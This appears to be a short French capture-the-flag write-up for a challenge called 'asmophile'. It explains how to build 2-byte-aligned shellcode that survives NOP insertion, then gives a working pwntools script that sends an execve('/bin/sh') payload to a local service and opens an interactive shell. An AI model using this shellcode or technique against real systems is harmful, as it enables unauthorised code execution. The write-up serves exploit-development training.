Le code envoyé est tronçonné par groupe de 2 octets avant d’être exécuté.
Des NOP sont insérés entre chaque groupe.
Il faut donc faire un shellcode sur mesure, aligné à 2 octets.
Une petite astuce a été de récupérer un pointeur vers /bin/sh
dans la pile plutôt que de le mettre manuellement avec des pushs '/bin/sh'
(instructions trop grandes).
#!/usr/bin/python
from pwn import *
# elf = ELF('./asmophile')
context(arch='amd64')
# print(enhex(asm('inc rsp'))) # check opcode length % 2 ?
sc = asm('mov al,10') # point rsp to /bin/sh
sc += asm('pop rcx\nnop')
sc += asm('dec eax')
sc += asm('jnz $-16')
sc += asm('push rsp\npop rdi') # */bin/sh
sc += asm('push rax\npop rsi')
sc += asm('push rax\npop rbx')
sc += asm('push rax\npop rdx')
sc += asm('push 59') # execve
sc += asm('pop rax\ncdq')
sc += asm('push rdx\npop rcx')
#sc += asm('nop\nnop')
#sc += asm('nop\nnop')
sc += asm('syscall')
sc += b'/bin/sh\x00'
"""
print(enhex(sc))
fh=open('cmdline','wb')
fh.write(sc+b'1234')
fh.close()
exit(1)
strace ./asmophile \<cmdline
gdb ./asmphile
break \*main+0x251
run \<cmdline
"""
# proc = process('./asmophile', stdin=PTY)
proc = remote('127.0.0.1',4000)
proc.clean()
proc.sendline(sc)
proc.sendline(b'uname -a')
proc.interactive()